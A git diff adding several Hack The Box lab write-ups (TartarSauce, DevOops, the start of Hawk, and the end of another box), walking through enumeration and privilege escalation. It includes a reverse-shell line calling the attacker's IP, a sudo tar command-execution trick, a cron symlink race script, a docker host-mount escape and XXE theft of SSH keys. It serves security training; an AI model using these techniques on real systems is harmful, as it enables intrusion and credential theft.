+ root 276 0.0 0.2 51236 5540 ? Ss Mar17 0:00 /lib/systemd/systemd-journald + root 279 0.0 0.5 207504 10556 ? Ssl Mar17 0:27 /usr/bin/vmtoolsd + root 280 0.0 0.0 0 0 ? S Mar17 0:00 [kauditd] + root 293 0.0 0.2 46828 5004 ? Ss Mar17 0:00 /lib/systemd/systemd-udevd + systemd+ 359 0.0 0.1 127284 4052 ? Ssl Mar17 0:02 /lib/systemd/systemd-timesyncd + root 365 0.0 0.0 0 0 ? S Mar17 0:00 [ttm_swap] + root 438 0.0 0.1 29664 2868 ? Ss Mar17 0:00 /usr/sbin/cron -f + root 439 0.0 0.1 35920 3292 ? Ss Mar17 0:01 /usr/sbin/irqbalance --foreground + root 440 0.0 0.9 153488 18532 ? Ss Mar17 0:00 /usr/bin/VGAuthService + message+ 441 0.0 0.1 45120 3724 ? Ss Mar17 0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation + root 456 0.0 0.1 250116 3304 ? Ssl Mar17 0:00 /usr/sbin/rsyslogd -n + root 457 0.0 0.2 46420 4804 ? Ss Mar17 0:00 /lib/systemd/systemd-logind + root 562 0.0 0.1 8572 3876 ? Ss Mar17 0:00 /usr/sbin/knockd -i enp0s3 + root 565 0.1 3.1 585408 65468 ? Ssl Mar17 0:59 /usr/bin/dockerd -H fd:// + root 570 0.0 0.0 14536 1780 tty1 Ss+ Mar17 0:00 /sbin/agetty --noclear tty1 linux + root 580 0.0 0.2 69944 5452 ? Ss Mar17 0:00 /usr/sbin/sshd -D + root 591 0.0 1.1 400308 23004 ? Ssl Mar17 0:41 docker-containerd --config /var/run/docker/containerd/containerd.toml + root 983 0.0 0.1 51488 3600 ? Sl Mar17 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 53 -container-ip 172.18.0.2 -container-port 53 + root 989 0.0 0.1 51488 3708 ? Sl Mar17 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 80 -container-ip 172.20.0.2 -container-port 80 + root 1004 0.0 0.2 206028 5704 ? Sl Mar17 0:03 /usr/bin/docker-proxy -proto udp -host-ip 0.0.0.0 -host-port 53 -container-ip 172.18.0.2 -container-port 53 + root 1005 0.0 0.1 51488 3636 ? Sl Mar17 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 2222 -container-ip 172.19.0.2 -container-port 22 + root 1018 0.0 0.1 7648 3836 ? Sl Mar17 0:02 docker-containerd-shim -namespace moby -workdir /var/lib/docker/containerd/daemon/io.containerd.runtime.v1.linux/moby/f00ba96171c58d55c6 + root 1022 0.0 0.1 7648 4036 ? Sl Mar17 0:00 docker-containerd-shim -namespace moby -workdir /var/lib/docker/containerd/daemon/io.containerd.runtime.v1.linux/moby/ce2ecb56a96ee3d95d + root 1023 0.0 0.2 7648 4784 ? Sl Mar17 0:00 docker-containerd-shim -namespace moby -workdir /var/lib/docker/containerd/daemon/io.containerd.runtime.v1.linux/moby/620b296204a38a1bc2 + systemd+ 1058 0.0 1.2 289576 24668 ? Ssl Mar17 0:17 /usr/sbin/named -g -c /etc/bind/named.conf -u bind + root 1067 0.0 0.9 175340 20136 ? Ss Mar17 0:02 apache2 -DFOREGROUND + root 1077 0.0 0.2 65504 6004 ? Ss Mar17 0:00 /usr/sbin/sshd -D + root 1756 0.0 0.0 0 0 ? S 01:02 0:00 [kworker/1:2] + root 1831 0.0 0.0 0 0 ? S 01:32 0:00 [kworker/0:0] + www-data 1832 0.0 0.6 175640 13272 ? S 01:36 0:00 apache2 -DFOREGROUND + www-data 1834 0.0 0.6 175648 13276 ? S 01:36 0:00 apache2 -DFOREGROUND + www-data 1851 0.0 0.6 175632 13264 ? S 01:36 0:00 apache2 -DFOREGROUND + www-data 1865 0.0 0.6 175768 13424 ? S 01:36 0:00 apache2 -DFOREGROUND + www-data 1871 0.0 0.6 175640 13272 ? S 01:36 0:00 apache2 -DFOREGROUND + www-data 1873 0.0 0.6 175640 13272 ? S 01:37 0:00 apache2 -DFOREGROUND + www-data 1874 0.0 0.6 175768 13644 ? S 01:37 0:00 apache2 -DFOREGROUND + www-data 1878 0.0 0.6 175768 13436 ? S 01:37 0:00 apache2 -DFOREGROUND + www-data 1881 0.0 0.6 175632 13264 ? S 01:37 0:00 apache2 -DFOREGROUND + www-data 1888 0.0 0.6 175640 13272 ? S 01:37 0:00 apache2 -DFOREGROUND + root 1895 0.0 0.0 0 0 ? S 02:01 0:00 [kworker/1:1] + root 1949 0.0 0.3 90476 6588 ? Ss 02:36 0:00 sshd: icarus [priv] + prometh+ 1953 0.0 0.1 90476 3272 ? S 02:36 0:00 sshd: icarus@pts/0 + prometh+ 1954 0.0 0.1 18240 3428 pts/0 Ss+ 02:36 0:00 -bash + root 1969 0.0 0.0 0 0 ? S 02:49 0:00 [kworker/0:1] + root 1976 0.0 0.0 0 0 ? S 02:54 0:00 [kworker/0:2] + root 1985 0.0 0.3 99336 7108 ? Ss 02:55 0:00 sshd: prometheus [priv] + prometh+ 1987 0.0 0.3 65036 6176 ? Ss 02:55 0:00 /lib/systemd/systemd --user + prometh+ 1988 0.0 0.0 84576 1632 ? S 02:55 0:00 (sd-pam) + prometh+ 1993 0.0 0.1 99336 4020 ? S 02:55 0:00 sshd: prometheus@pts/0 + prometh+ 1994 0.0 0.2 21192 4996 pts/0 Ss 02:55 0:00 -bash + prometh+ 2010 0.0 0.1 38304 3288 pts/0 R+ 02:58 0:00 ps auxw + + + +Here we are hinted towards docker running on the box, so let's enumerate it : + + + prometheus@olympus:~$ docker images + REPOSITORY TAG IMAGE ID CREATED SIZE + crete latest 31be8149528e 23 months ago 450MB + olympia latest 2b8904180780 23 months ago 209MB + rodhes latest 82fbfd61b8c1 23 months ago 215MB + + +We know about crete, but we don't know about olympia yet so let's try to get a shell in it's docker image : + + + prometheus@olympus:~$ docker run --rm -i -t -v /:/hostOS olympia /bin/bash + root@72fd5d0030ac:/# uname -a + Linux 72fd5d0030ac 4.9.0-6-amd64 #1 SMP Debian 4.9.82-1+deb9u3 (2018-03-02) x86_64 x86_64 x86_64 GNU/Linux + root@72fd5d0030ac:/# whoami + root + root@72fd5d0030ac:/# cat /root/root.txt + cat: /root/root.txt: No such file or directory + + + +And we have root access to this docker image ! however root.txt isn't where it should be so let's poke around a little further: + + + root@72fd5d0030ac:/# cd / + root@72fd5d0030ac:/# ls + bin boot dev etc home hostOS lib lib64 media mnt opt proc root run sbin srv sys tmp usr var + root@72fd5d0030ac:/# cd hostOS + root@72fd5d0030ac:/hostOS# ls + bin boot dev etc home initrd.img initrd.img.old lib lib64 lost+found media mnt opt proc root run sbin srv sys tmp usr var vmlinuz vmlinuz.old + root@72fd5d0030ac:/hostOS# cd root + root@72fd5d0030ac:/hostOS/root# ls + root.txt + root@72fd5d0030ac:/hostOS/root# cat root.txt + abXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And there we have it ! we have been able to print the root flag that was oddly placed in the /hostOS/root/ directory. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/26_graph.png) + diff --git a/Medium/27.md b/Medium/27.md new file mode 100644 index 0000000..505e88b --- /dev/null +++ b/Medium/27.md @@ -0,0 +1,339 @@ +# TartarSauce Writeup + +![](img/27.png) + +## Introduction : + +TartarSauce is a Medium linux box released back in May 2018. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.11/23 ] [~] + → nmap -F 10.10.10.88 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-18 12:17 GMT + Nmap scan report for 10.10.10.88 + Host is up (0.071s latency). + Not shown: 99 closed ports + PORT STATE SERVICE + 80/tcp open http + + Nmap done: 1 IP address (1 host up) scanned in 0.51 seconds + + λ nihilist [ 10.10.14.11/23 ] [~] + → nmap -sCV -p80 10.10.10.88 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-18 12:17 GMT + Nmap scan report for 10.10.10.88 + Host is up (0.073s latency). + + PORT STATE SERVICE VERSION + 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) + | http-robots.txt: 5 disallowed entries + | /webservices/tar/tar/source/ + | /webservices/monstra-3.0.4/ /webservices/easy-file-uploader/ + |_/webservices/developmental/ /webservices/phpmyadmin/ + |_http-server-header: Apache/2.4.18 (Ubuntu) + |_http-title: Landing Page + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 9.09 seconds + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 running httpd 2.4.18 with an interesting directory which is /webservices/ so let's dirsearch it: + + + λ nihilist [ 10.10.14.11/23 ] [~] + → dirsearch -u http://10.10.10.88/webservices/ -t 50 -e txt,html,php,xml -x 403 + git clone https://github.com/maurosoria/dirsearch.git + + _|. _ _ _ _ _ _|_ v0.3.9 + (_||| _) (/_(_|| (_| ) + + Extensions: txt, html, php, xml | HTTP method: get | Threads: 50 | Wordlist size: 7124 + + Error Log: /home/nihilist/Desktop/Tools/dirsearch/logs/errors-20-03-18_12-39-18.log + + Target: http://10.10.10.88/webservices/ + + [12:39:18] Starting: + [12:39:52] 301 - 319B - /webservices/wp -> http://10.10.10.88/webservices/wp/ + + Task Completed + + + +And we found the directory /webservices/wp ! so let's use wpscan to enumerate the wordpress website : + + + λ nihilist [ 10.10.14.11/23 ] [~] + → wpscan -ep --url http://10.10.10.88/webservices/wp + _______________________________________________________________ + __ _______ _____ + \ \ / / __ \ / ____| + \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® + \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ + \ /\ / | | ____) | (__| (_| | | | | + \/ \/ |_| |_____/ \___|\__,_|_| |_| + + WordPress Security Scanner by the WPScan Team + Version 3.7.9 + Sponsored by Automattic - https://automattic.com/ + @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart + _______________________________________________________________ + + [+] URL: http://10.10.10.88/webservices/wp/ [10.10.10.88] + [+] Started: Wed Mar 18 12:41:15 2020 + + Interesting Finding(s): + + + +Running the aforementionned command, we are hinted towards a vulnerable plugin : Gwolle Guestbook <= 2.5.3 which, according to our WPScan is vulnerable to Cross Site Scripting. http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt + +You can check out Gwolle Guestbook's WP plugin RFI vulnerability explanation [here](https://www.immuniweb.com/advisory/HTB23275). Basically, the vulnerability is located in gwolle's frontent captcha ajaxresponse.php, and more precisely in the abspath parameter, which basically is where the RFI vulnerability is. so we can trigger a reverse shell to our local port 9001 with a simple curl command. + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/TarTarSauce] + → locate nihilist.php + /home/nihilist/_HTB/Apocalyst/nihilist.php + /home/nihilist/_HTB/Bastard/nihilist.php + /home/nihilist/_HTB/Cronos/nihilist.php + /home/nihilist/_HTB/Enterprise/nihilist.php + /home/nihilist/_HTB/Haircut/nihilist.php + /home/nihilist/_HTB/Meow/nihilist.php + /home/nihilist/_HTB/Networked/nihilist.php.gif + /home/nihilist/_HTB/October/nihilist.php5 + /home/nihilist/_HTB/Popcorn/nihilist.php + /home/nihilist/_HTB/Popcorn/nihilist.php.gif + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/TarTarSauce] + → cp /home/nihilist/_HTB/Meow/nihilist.php . + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/TarTarSauce] + → nano nihilist.php + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/TarTarSauce] + → sudo python -m SimpleHTTPServer 80 + [sudo] password for nihilist: + Serving HTTP on 0.0.0.0 port 80 ... + + +` ![](prg/27_001.png) + +And we get a reverse shell ! although we need to elevate our privileges to the onuma user, so let's poke around the box a bit, Our first reflex here is sudo -l as always: + + + www-data@TartarSauce:/$ sudo -l + sudo -l + Matching Defaults entries for www-data on TartarSauce: + env_reset, mail_badpass, + secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin + + User www-data may run the following commands on TartarSauce: + (onuma) NOPASSWD: /bin/tar + + +And it looks like we are able to execute /bin/tar as onuma without any password! so we need to get a shell by using /bin/tar, One way of doing so is creating a textfile containing the following: + + + #!/bin/bash + bash -i >& /dev/tcp/10.10.14.11/9002 0>&1 + + +Saving it as a bashscript, and then getting tar to execute it with the -cvf flags. + + + www-data@TartarSauce:/tmp$ echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/10.10.14.11/9002 0>&1' > nihilist.sh + + www-data@TartarSauce:/tmp$ tar -cvf nihilist.tar nihilist.sh + tar -cvf nihilist.tar nihilist.sh + nihilist.sh + + www-data@TartarSauce:/tmp$ ls + ls + nihilist.sh + nihilist.tar + systemd-private-ae3f290ecd13426bbc3a0ef6fa0c5f2f-systemd-timesyncd.service-6eF29j + vmware-root + + +Now that we have our nihilist.tar we use tar's --to-command flag which will execute our bashscript, and obviously we'll run tar as the user onuma: + +_Terminal 1:_ + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/TarTarSauce] + → nc -lvnp 9002 + Ncat: Version 7.80 ( https://nmap.org/ncat ) + Ncat: Listening on :::9002 + Ncat: Listening on 0.0.0.0:9002 + + + +` _Terminal 2:_ + + + www-data@TartarSauce:/tmp$ sudo -u onuma tar -xvf nihilist.tar --to-command /bin/bash + + +` _Terminal 1:_ + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/TarTarSauce] + → nc -lvnp 9002 + Ncat: Version 7.80 ( https://nmap.org/ncat ) + Ncat: Listening on :::9002 + Ncat: Listening on 0.0.0.0:9002 + Ncat: Connection from 10.10.10.88. + Ncat: Connection from 10.10.10.88:43532. + bash: cannot set terminal process group (1247): Inappropriate ioctl for device + bash: no job control in this shell + onuma@TartarSauce:/tmp$ whoami + whoami + onuma + onuma@TartarSauce:/tmp$ cat /home/onuma/user.txt + cat /home/onuma/user.txt + b2XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to print out the user flag. + +## **Part 3 : Getting Root Access** + +Now we can use pspy to find about the cronjob script ran as root every 5 minutes /usr/sbin/backuperer + + + onuma@TartarSauce:/tmp$ cat /usr/sbin/backuperer + cat /usr/sbin/backuperer + #!/bin/bash + + #------------------------------------------------------------------------------------- + # backuperer ver 1.0.2 - by ȜӎŗgͷͼȜ + # ONUMA Dev auto backup program + # This tool will keep our webapp backed up incase another skiddie defaces us again. + # We will be able to quickly restore from a backup in seconds ;P + #------------------------------------------------------------------------------------- + + # Set Vars Here + basedir=/var/www/html + bkpdir=/var/backups + tmpdir=/var/tmp + testmsg=$bkpdir/onuma_backup_test.txt + errormsg=$bkpdir/onuma_backup_error.txt + tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d' ' -f1) + check=$tmpdir/check + + # formatting + printbdr() + { + for n in $(seq 72); + do /usr/bin/printf $"-"; + done + } + bdr=$(printbdr) + + # Added a test file to let us see when the last backup was run + /usr/bin/printf $"$bdr\nAuto backup backuperer backup last ran at : $(/bin/date)\n$bdr\n" > $testmsg + + # Cleanup from last time. + /bin/rm -rf $tmpdir/.* $check + + # Backup onuma website dev files. + /usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir & + + # Added delay to wait for backup to complete if large files get added. + /bin/sleep 30 + + # Test the backup integrity + integrity_chk() + { + /usr/bin/diff -r $basedir $check$basedir + } + + /bin/mkdir $check + /bin/tar -zxvf $tmpfile -C $check + if [[ $(integrity_chk) ]] + then + # Report errors so the dev can investigate the issue. + /usr/bin/printf $"$bdr\nIntegrity Check Error in backup last ran : $(/bin/date)\n$bdr\n$tmpfile\n" >> $errormsg + integrity_chk >> $errormsg + exit 2 + else + # Clean up and save archive to the bkpdir. + /bin/mv $tmpfile $bkpdir/onuma-www-dev.bak + /bin/rm -rf $check .* + exit 0 + fi + + +To exploit this script we can unpack the archive during the sleep period, replacing one of the files with a link to /root/root.txt and re-archive it. When the script will run to check for differences, the result of the contents of both files will end up in the logs. So we'll use [0xdf](https://0xdf.gitlab.io/)'s awesome bashscript which does it for us automatically : + + + #!/bin/bash + + # work out of shm + cd /dev/shm + + # set both start and cur equal to any backup file if it's there + start=$(find /var/tmp -maxdepth 1 -type f -name ".*") + cur=$(find /var/tmp -maxdepth 1 -type f -name ".*") + + # loop until there's a change in cur + echo "Waiting for archive filename to change..." + while [ "$start" == "$cur" -o "$cur" == "" ] ; do + sleep 10; + cur=$(find /var/tmp -maxdepth 1 -type f -name ".*"); + done + + # Grab a copy of the archive + echo "File changed... copying here" + cp $cur . + + # get filename + fn=$(echo $cur | cut -d'/' -f4) + + # extract archive + tar -zxf $fn + + # remove robots.txt and replace it with link to root.txt + rm var/www/html/robots.txt + ln -s /root/root.txt var/www/html/robots.txt + + # remove old archive + rm $fn + + # create new archive + tar czf $fn var + + # put it back, and clean up + mv $fn $cur + rm $fn + rm -rf var + + # wait for results + echo "Waiting for new logs..." + tail -f /var/backups/onuma_backup_error.txt + + +That we can also transform into a one liner: + + + cd /dev/shm; start=$(find /var/tmp -maxdepth 1 -type f -name ".*"); cur=$(find /var/tmp -maxdepth 1 -type f -name ".*"); while [ "$start" == "$cur" -o "$cur" == "" ] ; do sleep 10; cur=$(find /var/tmp -maxdepth 1 -type f -name ".*"); done; echo "File changed... copying here"; cp $cur .; fn=$(echo $cur | cut -d'/' -f4); tar -zxf $fn; rm var/www/html/robots.txt; ln -s /root/root.txt var/www/html/robots.txt; rm $fn; tar czf $fn var; mv $fn $cur; rm $fn; rm -rf var + + +We'll save the script locally, then use both python's SimpleHTTPServer with curl that is on the machine to execute the script without having to download it onto the box: + +![](prg/27_002.png) + +And that's it ! we have been able to print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/27_graph.png) + diff --git a/Medium/28.md b/Medium/28.md new file mode 100644 index 0000000..e667503 --- /dev/null +++ b/Medium/28.md @@ -0,0 +1,182 @@ +# DevOops Writeup + +![](img/28.png) + +## Introduction : + +DevOops is a Medium linux box released back in June 2018. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.11/23 ] [~] + → nmap -F 10.10.10.91 --top-ports 10000 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-19 09:57 GMT + Nmap scan report for 10.10.10.91 + Host is up (0.050s latency). + Not shown: 8318 closed ports + PORT STATE SERVICE + 22/tcp open ssh + 5000/tcp open upnp + + Nmap done: 1 IP address (1 host up) scanned in 5.09 seconds + + λ nihilist [ 10.10.14.11/23 ] [~] + → nmap -sCV -p22,5000 10.10.10.91 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-19 09:57 GMT + Nmap scan report for 10.10.10.91 + Host is up (0.039s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 42:90:e3:35:31:8d:8b:86:17:2a:fb:38:90:da:c4:95 (RSA) + | 256 b7:b6:dc:c4:4c:87:9b:75:2a:00:89:83:ed:b2:80:31 (ECDSA) + |_ 256 d5:2f:19:53:b2:8e:3a:4b:b3:dd:3c:1f:c0:37:0d:00 (ED25519) + 5000/tcp open http Gunicorn 19.7.1 + |_http-server-header: gunicorn/19.7.1 + |_http-title: Site doesn't have a title (text/html; charset=utf-8). + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 11.01 seconds + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 5000 running http Gunicorn 19 so let's investigate it with dirsearch: + + + λ nihilist [ 10.10.14.11/23 ] [~] + → dirsearch -u http://10.10.10.91:5000/ -e txt,php,html,xml -x 403 -t 100 + + +` ![](prg/28_001.png) + +Looks like we have a website in construction so let's check out /upload which is a webpage onto which we can upload xml files So just like for [Aragorg](19.html), we will try to do some XXE exploitation, by first trying to print out the /etc/passwd file: + +![](prg/28_002.png) + +What we just did was creating an infected xml file, uploaded it, and intercepted the request with burpsuite, so that we can send it to the repeater (CTRL+R) and then modify it and send it repeatedly: + +![](prg/28_003.png) + +And we get code execution ! we have been able to find the user "roosa" so let's try to print out her flag : + +![](prg/28_004.png) + +And that's it ! we have been able to print out the user flag. + +## **Part 3 : Getting Root Access** + +Now that we know we can print out roosa's files, let's print out her private ssh key (/home/roosa/.ssh/id_rsa): + +![](prg/28_005.png) + +Then we basically save it locally, change it's permissions correctly, and log into the box as the user roosa via the ssh port that our nmap scan picked up earlier. + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/DevOops] + → nano pkey + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/DevOops] + → chmod 600 pkey + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/DevOops] + → ssh -i pkey roosa@10.10.10.91 + The authenticity of host '10.10.10.91 (10.10.10.91)' can't be established. + ECDSA key fingerprint is SHA256:hbD2D4PdnIVpAFHV8sSAbtM0IlTAIpYZ/nwspIdp4Vg. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '10.10.10.91' (ECDSA) to the list of known hosts. + Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-37-generic i686) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + 135 packages can be updated. + 60 updates are security updates. + + + The programs included with the Ubuntu system are free software; + the exact distribution terms for each program are described in the + individual files in /usr/share/doc/*/copyright. + + Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by + applicable law. + + roosa@gitter:~$ uname -a + Linux gitter 4.13.0-37-generic #42~16.04.1-Ubuntu SMP Wed Mar 7 16:02:25 UTC 2018 i686 athlon i686 GNU/Linux + + +From there we navigate around and we stumble upon an interesting directory /home/roosa/work/blogfeed which contains a .git folder for us to enumerate: + + + roosa@gitter:~$ ls + deploy Downloads Pictures service.sh user.txt + Desktop examples.desktop Public service.sh~ Videos + Documents Music run-blogfeed.sh Templates work + roosa@gitter:~$ cd work + roosa@gitter:~/work$ ls + blogfeed + roosa@gitter:~/work$ cd blogfeed + roosa@gitter:~/work/blogfeed$ ls + README.md resources run-gunicorn.sh src + roosa@gitter:~/work/blogfeed$ ls -lash + total 28K + 4.0K drwxrwx--- 5 roosa roosa 4.0K Mar 21 2018 . + 4.0K drwxrwxr-x 3 roosa roosa 4.0K Mar 21 2018 .. + 4.0K drwxrwx--- 8 roosa roosa 4.0K Mar 26 2018 .git + 4.0K -rw-rw---- 1 roosa roosa 104 Mar 19 2018 README.md + 4.0K drwxrwx--- 3 roosa roosa 4.0K Mar 19 2018 resources + 4.0K -rwxrw-r-- 1 roosa roosa 180 Mar 21 2018 run-gunicorn.sh + 4.0K drwxrwx--- 2 roosa roosa 4.0K Mar 26 2018 src + + +Now let's get into the .git directory and see if we can print out the previous git commits just like on the [Canape box](25.html) but this time we specify the -p flag in order to list the changes under each commit: + + + roosa@gitter:~/work/blogfeed$ git log -p + + +And right under commit **d387abf63e05c9628a59195cec9311751bdb283f** we see another private key for us to use : + +![](prg/28_006.png) + +So we save the key locally , give it the proper permissions and use it to login as root via ssh onto the box : + + + λ nihilist [ 10.10.14.24/23 ] [~/_HTB/DevOops] + → nano pkey_root + + λ nihilist [ 10.10.14.24/23 ] [~/_HTB/DevOops] + → chmod 600 pkey_root + + λ nihilist [ 10.10.14.24/23 ] [~/_HTB/DevOops] + → ssh -i pkey_root root@10.10.10.91 + Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-37-generic i686) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + 135 packages can be updated. + 60 updates are security updates. + + Last login: Mon Mar 26 06:23:48 2018 from 192.168.57.1 + root@gitter:~# whoami + root + root@gitter:~# cat /root/root.txt + d4XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to print out the root flag on the box. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/28_graph.png) + diff --git a/Medium/29.md b/Medium/29.md new file mode 100644 index 0000000..765472b --- /dev/null +++ b/Medium/29.md @@ -0,0 +1,424 @@ +# Hawk Writeup + +![](img/29.png) + +## Introduction : + +Hawk is a Medium linux box released back in July 2018. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.24/23 ] [~] + → nmap -F 10.10.10.102 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-19 21:56 GMT + Nmap scan report for 10.10.10.102 + Host is up (0.076s latency). + Not shown: 97 closed ports + PORT STATE SERVICE + 21/tcp open ftp + 22/tcp open ssh + 80/tcp open http + + Nmap done: 1 IP address (1 host up) scanned in 0.54 seconds + + λ nihilist [ 10.10.14.24/23 ] [~] + → nmap -sCV -p21,22,80 10.10.10.102 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-19 21:56 GMT + Nmap scan report for 10.10.10.102 + Host is up (0.082s latency). + + PORT STATE SERVICE VERSION + 21/tcp open ftp vsftpd 3.0.3 + | ftp-anon: Anonymous FTP login allowed (FTP code 230) + |_drwxr-xr-x 2 ftp ftp 4096 Jun 16 2018 messages + | ftp-syst: + | STAT: + | FTP server status: + | Connected to ::ffff:10.10.14.24 + | Logged in as ftp + | TYPE: ASCII + | No session bandwidth limit + | Session timeout in seconds is 300 + | Control connection is plain text + | Data connections will be plain text + | At session startup, client count was 4 + | vsFTPd 3.0.3 - secure, fast, stable + |_End of status + 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 e4:0c:cb:c5:a5:91:78:ea:54:96:af:4d:03:e4:fc:88 (RSA) + | 256 95:cb:f8:c7:35:5e:af:a9:44:8b:17:59:4d:db:5a:df (ECDSA) + |_ 256 4a:0b:2e:f7:1d:99:bc:c7:d3:0b:91:53:b9:3b:e2:79 (ED25519) + 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) + |_http-generator: Drupal 7 (http://drupal.org) + | http-robots.txt: 36 disallowed entries (15 shown) + | /includes/ /misc/ /modules/ /profiles/ /scripts/ + | /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt + | /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt + |_/LICENSE.txt /MAINTAINERS.txt + |_http-server-header: Apache/2.4.29 (Ubuntu) + |_http-title: Welcome to 192.168.56.103 | 192.168.56.103 + Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 10.51 seconds + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 running http with drupal 7 just like the box [Bastard](2.html) except that this time we are dealing with a linux box. Although our nmap scan also picked up port 21 ftp with anonymous login, so let's check it out first: + + + λ nihilist [ 10.10.14.24/23 ] [~] + → ftp 10.10.10.102 + Connected to 10.10.10.102. + 220 (vsFTPd 3.0.3) + Name (10.10.10.102:nihilist): anonymous + 230 Login successful. + Remote system type is UNIX. + Using binary mode to transfer files. + ftp> ls + 200 PORT command successful. Consider using PASV. + 150 Here comes the directory listing. + drwxr-xr-x 2 ftp ftp 4096 Jun 16 2018 messages + 226 Directory send OK. + ftp> cd messages + 250 Directory successfully changed. + ftp> ls + 200 PORT command successful. Consider using PASV. + 150 Here comes the directory listing. + 226 Directory send OK. + ftp> ls -lash + 200 PORT command successful. Consider using PASV. + 150 Here comes the directory listing. + drwxr-xr-x 2 ftp ftp 4096 Jun 16 2018 . + drwxr-xr-x 3 ftp ftp 4096 Jun 16 2018 .. + -rw-r--r-- 1 ftp ftp 240 Jun 16 2018 .drupal.txt.enc + 226 Directory send OK. + ftp> get .drupal.txt.enc + local: .drupal.txt.enc remote: .drupal.txt.enc + 200 PORT command successful. Consider using PASV. + 150 Opening BINARY mode data connection for .drupal.txt.enc (240 bytes). + 226 Transfer complete. + 240 bytes received in 0.00 secs (165.9880 kB/s) + ftp> exit + 221 Goodbye. + + λ nihilist [ 10.10.14.24/23 ] [~] + → cd _HTB/Hawk && mv ../../.drupal.txt.enc . + + λ nihilist [ 10.10.14.24/23 ] [~/_HTB/Hawk] + → file .drupal.txt.enc + .drupal.txt.enc: openssl enc'd data with salted password, base64 encoded + + +So we have a base64 encoded openssl encrypted string of data with salted password so let's first de-base64 it : + + + λ nihilist [ 10.10.14.24/23 ] [~/_HTB/Hawk] + → cat .drupal.txt.enc| base64 -d > drupal.txt.enc + + λ nihilist [ 10.10.14.24/23 ] [~/_HTB/Hawk] + → file drupal.txt.enc + drupal.txt.enc: openssl enc'd data with salted password + + +Now from there we can bruteforce this openssl salted file with a tool called "bruteforce-salted-openssl" + + + λ nihilist [ 10.10.14.24/23 ] [~/_HTB/Hawk] + → bruteforce-salted-openssl -t 50 -f /usr/share/wordlists/rockyou.txt -d sha256 drupal.txt.enc -1 + Warning: using dictionary mode, ignoring options -b, -e, -l, -m and -s. + + Tried passwords: 0 + Tried passwords per second: -nan + Last tried password: purple + + Password candidate: friends + + +The result was instant , the password is friends, now using this we can decode the file, note that bruteforce-salted-openssl uses aec-256-cbc by default so we also know that it is the algorithm used to encrypt the file, so let's use it to decrypt it using the friends password : + + + λ nihilist [ 10.10.14.24/23 ] 